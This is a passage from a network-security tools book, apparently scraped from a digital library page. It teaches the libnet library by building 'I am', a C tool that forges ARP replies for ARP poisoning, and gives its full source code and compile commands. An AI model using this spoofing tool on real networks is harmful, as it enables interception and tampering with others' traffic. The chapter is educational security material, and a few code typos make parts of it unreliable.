Network.Security.Tools [Electronic resources] نسخه متنی

اینجــــا یک کتابخانه دیجیتالی است

با بیش از 100000 منبع الکترونیکی رایگان به زبان فارسی ، عربی و انگلیسی

Network.Security.Tools [Electronic resources] - نسخه متنی

| نمايش فراداده ، افزودن یک نقد و بررسی
افزودن به کتابخانه شخصی
ارسال به دوستان
جستجو در متن کتاب
بیشتر
تنظیمات قلم

فونت

اندازه قلم

+ - پیش فرض

حالت نمایش

روز نیمروز شب
جستجو در لغت نامه
بیشتر
لیست موضوعات
توضیحات
افزودن یادداشت جدید









11.2. Getting Started with libnet



When using libnet
it is important to remember that packets are encapsulated at a lower
level by yet another type of packet, as illustrated in Figure 11-2. This is important because
libnet requires that each encapsulating packet
is created, in order, from the highest-level protocol to the
lowest-level protocol.




Figure 11-2. Protocol encapsulation example



Although the libnet library provides you with
granular access to network packet creation at each level of the
protocol stack, sometimes you don''t need total
control over the packet-creation process. libnet
handles such instances in two ways: it creates packets at one of the
LIBNET_RAW injection types, and it uses the
libnet_autobuild_*( ) functions supplied for
common protocols.


libnet supports two types of packet injection:
injection at the link layer
(LIBNET_LINK, etc.), and injection at the
Internet layer
(LIBNET_RAW4, etc.). The complete list of
supported injection types is provided in Table 11-1. If you require total control over the link
layer network packet, you have little choice but to use a link layer
injection type. However, if the tool will be creating packets at the
Internet layer (or higher), you can use the Internet layer injection
type. This injection type leverages the operating system to actually
send the packet, and as such, you don''t have to
worry about correctly framing the Ethernet packet or looking up
Ethernet MAC addresses or similar low-level requirements. In fact,
when using the LIBNET_RAW injection types, you do
not need to create the link layer packet at all, as this task is
performed by the operating system, and the packet is routed on the
correct interface for the IP addresses used at the Internet
layer.



Table 11-1. Supported injection types



Injection type




Description




LIBNET_LINK




Link layer interface. The developer needs to create packets down to
the link layer.




LIBNET_LINK_ADV




Link layer interface in advanced mode. This allows the developer
additional control over the packet being created.




LIBNET_RAW4




Raw sockets interface for IPv4 (normal Internet IP). The developer
needs to create packets down to the Internet layer.




LIBNET_RAW4_ADV




Raw sockets interface for IPv4 in advanced mode. This allows the
developer additional control over the packet being created.




LIBNET_RAW6




Raw sockets interface for IPv6 (next-generation IP).




LIBNET_RAW6_ADV




Raw sockets interface for IPv6 in advanced mode. This allows the
developer additional control over the packet being created.



Another option is to use the libnet_autobuild_*( )
functions provided for common protocols. These allow you to specify
only the minimum required parameters for the packet, with the
remaining pieces of data going into the packet header being
determined by libnet.



11.2.1. Writing the I am Tool



Now we can

create our first tool using
libnet. To provide an introduction to
libnet, we are going to demonstrate how to write
a simple tool for automating a network security attack known as
Address
Resolution Protocol (ARP) poisoning.


This tool, called I am, sends ARP Reply packets
to locally networked hosts claiming to be the host at a certain IP
address. This is an integral part of an ARP poisoning attack, in that
it can allow an attacker on a local network to redirect traffic
through the host, and therefore intercept, modify, or observe traffic
flowing on the network.


The I am tool, like most
libnet tools, has functionality that can be
categorized into the following areas:



Initializing the session



Building the protocol blocks



Sending the packet



Closing down gracefully




11.2.2. Initializing the Session



libnet
enables you to build arbitrary network
packets using three main concepts: contexts, protocol blocks, and
protocol tags. A
context
is an opaque handle used to maintain the session state for building
the complete packet. A context is referred to by a variable of type
libnet_t. A protocol
block is the libnet
internal data built for each network layer you have created. You
refer to these via protocol
tags of type libnet_ptag_t.
As when using libpcap, you should never need to
know precisely what is in either the libnet
context or the protocol blocks. When the packet is sent, the
libnet_t context is provided,
libnet creates the packet from the protocol
blocks created, and the packet is sent.


Therefore, the first thing our libnet tool
requires is a libnet context of type
libnet_t. We create a context using the
libnet_init( ) function, which has the following
prototype:


libnet_t *libnet_init (int injection_type, char *device, char *err_buf)


The example program uses this function to open its session, as shown
in Example 11-1.



Example 11-1. Using libnet_init( )


#include <libnet.h>
libnet_t *l; /* libnet context */
char errbuf[LIBNET_ERRBUF_SIZE]; /* error messages */
/* open handle */
l = libnet_init (LIBNET_LINK, device, errbuf);
if (l == NULL)
{
fprintf (stderr, "Error opening context: %s", errbuf);
exit (1);
}


Because the I am tool is creating ARP packets,
and because ARP is a link layer protocol, we cannot use one of the
LIBNET_RAW injection types for this tool, so we
use LIBNET_LINK.


To use the libnet functions we are including the
libnet include file
libnet.h. The
LIBNET_ERRBUF_SIZE value is defined in
libnet-macros.h, which is included in
libnet.h. The values of the parameters passed to
libnet_init( ) are outlined in Table 11-2. libnet_init( ) returns a
libnet context on success, or
NULL on failure with a human-readable error
contained in errbuf.



Table 11-2. libnet_init( ) parameters



Parameter




Description



injection_type




The injection type is one of the following, as defined in Table 11-1:



LIBNET_LINK



LIBNET_LINK_ADV



LIBNET_RAW4



LIBNET_RAW4_ADV



LIBNET_RAW6



LIBNET_RAW6_ADV




These define whether the packet creation is at the Internet layer for
the IPv4 LIBNET_RAW4 and IPv6
LIBNET_RAW6 injection types, or at the link layer
for the LIBNET_LINK injection type. Using packet
injection at the link layer gives us granular control over lower
levels in the protocol stack, such as for manipulating ARP or
Ethernet packets. The network layer functions allow us to ignore the
lower-level protocols if granularity over them is not required, such
as when working with IP and UDP or TCP traffic. The functions ending
in _ADV are advanced variations on each injection
type, providing additional control over packets.



device




device is a string containing either a device name
(such as eth0 for Linux), or the IP address for
the device. This can be NULL, in which case
libnet attempts to locate an appropriate
interface.



err_buf




The error buffer is populated with a human-readable error message in
the event an error occurs.




11.2.3. Building the Protocol Blocks



Once we have
created a libnet context, we can start building
the protocol blocks to be sent. Remember that we must create the
protocol blocks in order, from the highest-level protocol to the
lowest-level protocol we are required to build. Because we are using
the LIBNET_LINK injection type, we are required to
create the link layer packet as well as any higher-level packets.
Therefore, we need to start by creating the ARP packet header, as
shown in Example 11-2.



Example 11-2. Creating the ARP header


in_addr_t ipaddr;                     /* source ip address */
in_addr_t destaddr; /* destination ip address */
u_int8_t *macaddr; /* destination mac address */
struct libnet_ether_addr *hwaddr; /* source MAC address */
libnet_ptag_t arp = 0; /* ARP protocol tag */
/* get the hardware address for the card we are using */
hwaddr = libnet_get_hwaddr (l);
/* build the ARP header */
arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
(u_int8_t *) hwaddr, /* source hardware addr */
(u_int8_t *) &ipaddr, /* source protocol addr */
macaddr, /* target hardware addr */
(u_int8_t *) &destaddr, /* target protocol addr */
l); /* libnet context */
if (arp == -1)
{
fprintf (stderr,
"Unable to build ARP header: %s\n", libnet_geterror (l));
exit (1);
}


Example 11-2 uses the libnet_autobuild_arp() function, which has the following
prototype:


libnet_ptag_t libnet_autobuild_arp (u_int16_t op, u_int8_t *sha, u_int8_t *spa,
u_int8_t *tha, u_int8_t *tpa, libnet_t *l)


The build and autobuild functions
libnet provides have similar parameters. The
autobuild (libnet_autobuild_*( )) functions build
a packet with the minimum required user input.
libnet automatically fills in the appropriate
default values. The build functions (libnet_build_*()) require that you specify the values for all the headers
and options a packet can take; however, these functions also edit an
existing protocol block if necessary. As we are creating a new
protocol block for the ARP packet, and we do not need to specify all
details for the packet, we can use the libnet_autobuild_arp() function, providing the source and destination hardware
and protocol addresses for the packet. As for all the build and
autobuild functions, this function returns a protocol tag value of
type libnet_ptag_t. This value is set to
-1 if an error occurred, in which case you can use
the libnet_geterror() function to determine what went wrong
via a human-readable error message.


All build and autobuild functions require the
libnet context to be passed as a parameter, but
the libnet_build_*( ) functions require you to
pass a protocol tag to the function. This is 0 if
a new protocol block is to be created, and it is a
libnet_ptag_t value if an existing packet is to be
modified. This is demonstrated in Example 11-3, where
we supply the last parameter (the protocol tag parameter) as
0.


Once we have built the higher-level ARP packet header, we can build
the Ethernet packet header, also shown in
Example 11-3.



Example 11-3. Creating the Ethernet header


libet_ptag_t eth = 0;                 /* Ethernet protocol tag */
/* build the ethernet header */
eth = libnet_build_ethernet (macaddr, /* destination address */
(u_int8_t *) hwaddr, /* source address */
ETHERTYPE_ARP, /* type of encasulated packet */
NULL, /* pointer to payload */
0, /* size of payload */
l, /* libnet context */
0); /* libnet protocol tag */
if (eth == -1)
{
fprintf (stderr,
"Unable to build Ethernet header: %s\n", libnet_geterror (l));
exit (1);
}


As before, the build function returns -1 on error,
and you can determine the reason for the error using
libnet_geterror(). For demonstration purposes Example 11-3 uses the libnet_build_ethernet() function instead of the
libnet_autobuild_ethernet() function (see Example 11-4).



Example 11-4. libnet_autobuild_ethernet( )versus libnet_build_ethernet( )


libnet_ptag_t libnet_autobuild_ethernet (u_int8_t *dst, u_int16_t type,
libnet_t *l)
libnet_ptag_t libnet_build_ethernet (u_int8_t *dst, u_int8_t *src,u_int16_t type,
u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)


The libnet_build_ethernet( ) function allows you
to perform such tasks as spoofing the source Ethernet MAC address and
editing the existing protocol block. This is an example of the
granular control you can have with the libnet
library.



11.2.4. Sending the Packet



Once
we
have assembled our protocol blocks, in order from highest-level
protocol to lowest-level protocol, we can write this packet to the
network. We do this using libnet_write( ), as
shown in Example 11-5.



Example 11-5. Writing the packet


/* write the packet */
if ((libnet_write (l)) == -1)
{
fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
exit (1);
}


The libnet_write( ) function causes
libnet to assemble the packet from the protocol
blocks. Then this is sent on the network, either to the IP address
supplied for an injection at the LIBNET_RAW level,
or to the network hardware address if the injection is at the
LIBNET_LINK layer.



11.2.5. Cleaning Up



Once
we have
sent our packet, we should free the memory associated with the
functions the libnet library has allocated. We
do this using the libnet_destroy() function, supplied with a
libnet context as a parameter, as shown in here:


/* exit cleanly */
libnet_destroy (l);
return 0;



11.2.6. The I am Tool Source Code



Example 11-6 shows the
full source code to the I am tool. It
should compile on most Linux distributions as follows:


gcc -o iam iam.c -ln


If that does not work, libnet provides a tool
called libnet-config that contains definitions
and library references that might be required for your
libnet installation. You can use this with back
quotes as follows:


gcc -o iam iam.c `libnet-config
-defines` `libnet-config -libs` `libnet-config -cflags`


This tool was written on Gentoo Linux. It should work on most Linux
installations; however, some tweaking might be necessary to get this
working on other Unix and Unix-like environments.



Example 11-6. Source code to the I am tool


#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <libnet.h>
/* usage */
void
usage (char *name)
{
printf ("%s - Send arbitrary ARP replies\n", name);
printf ("Usage: %s [-i interface] -s ip_address -t dest_ip\n", name);
printf (" -i interface to send on\n");
printf (" -s IP address we are claiming to be\n");
printf (" -t IP address of recipient\n");
printf (" -m Ethernet MAC address of recipient\n");
exit (1);
}
int
main (int argc, char *argv[])
{
char *device = NULL; /* network device */
char o; /* for option processing */
in_addr_t ipaddr; /* claimed ip address */
in_addr_t destaddr; /* destination ip address */
u_int8_t *macaddr; /* destination mac address */
libnet_t *l; /* libnet context */
libnet_ptag_t arp = 0, eth = 0; /* libnet protocol blocks */
struct libnet_ether_addr *hwaddr; /* ethernet MAC address */
char errbuf[LIBNET_ERRBUF_SIZE]; /* error messages */
int r; /* generic return value */
if (argc < 3)
usage (argv[0]);
while ((o = getopt (argc, argv, "i:t:s:m:")) > 0)
{
switch (o)
{
case ''i'':
device = optarg;
break;
case ''s'':
if ((ipaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid claimed IP address\n");
usage (argv[0]);
}
break;
case ''t'':
if ((destaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid destination IP address\n");
usage (argv[0]);
}
break;
case ''m'':
if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
{
fprintf (stderr, "Error on MAC address\n");
usage (argv[0]);
}
break;
default:
usage (argv[0]);
break;
}
}
/* open context */
l = libnet_init (LIBNET_LINK, device, errbuf);
if (l == NULL)
{
fprintf (stderr, "Error opening context: %s", errbuf);
exit (1);
}
/* get the hardware address for the card we are using */
hwaddr = libnet_get_hwaddr (l);
/* build the ARP header */
arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
(u_int8_t *) hwaddr, /* source hardware addr */
(u_int8_t *) &ipaddr, /* source protocol addr */
macaddr, /* target hardware addr */
(u_int8_t *) &destaddr, /* target protocol addr */
l); /* libnet context */
if (arp == -1)
{
fprintf (stderr,
"Unable to build ARP header: %s\n", libnet_geterror (l));
exit (1);
}
/* build the ethernet header */
eth = libnet_build_ethernet (macaddr, /* destination address */
(u_int8_t *) hwaddr, /* source address */
ETHERTYPE_ARP, /* type of encasulated packet */
NULL, /* pointer to payload */
0, /* size of payload */
l, /* libnet context */
0); /* libnet protocol tag */
if (eth == -1)
{
fprintf (stderr,
"Unable to build Ethernet header: %s\n", libnet_geterror (l));
exit (1);
}
/* write the packet */
if ((libnet_write (l)) == -1)
{
fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
exit (1);
}
/* exit cleanly */
libnet_destroy (l);
return 0;
}



/ 85